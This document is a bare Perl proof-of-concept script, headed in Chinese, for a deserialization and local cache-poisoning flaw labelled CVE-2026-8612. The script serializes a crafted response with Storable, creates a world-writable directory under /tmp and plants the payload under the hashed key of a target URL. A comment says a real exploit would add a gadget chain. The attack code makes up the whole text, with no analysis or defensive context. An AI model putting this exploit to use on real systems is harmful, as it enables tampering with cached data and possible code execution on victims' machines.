CVE-2026-8612 Perl模块反序列化漏洞

#!/usr/bin/perl # PoC for CVE-2026-8612: Local Cache Poisoning use strict; use warnings; use Storable qw(freeze); use Digest::SHA qw(sha1_hex); use File::Path qw(make_path); my $target_url = 'http://example.com/target'; my $cache_dir = '/tmp/FileCache'; my $cache_key = sha1_hex($target_url); # Malicious payload to be deserialized my $malicious_data = { _rc => 200, _content => '<p>Malicious content</p>', # In a real exploit, this would contain an object triggering a gadget chain }; my $frozen = freeze($malicious_data); # Emulate attacker writing to the world-writable cache make_path($cache_dir, { mode => 0777 }); open my $fh, '>', "$cache_dir/$cache_key" or die $!; binmode $fh; print $fh $frozen; close $fh; print "PoC: Cache poisoned at $cache_dir/$cache_key\n";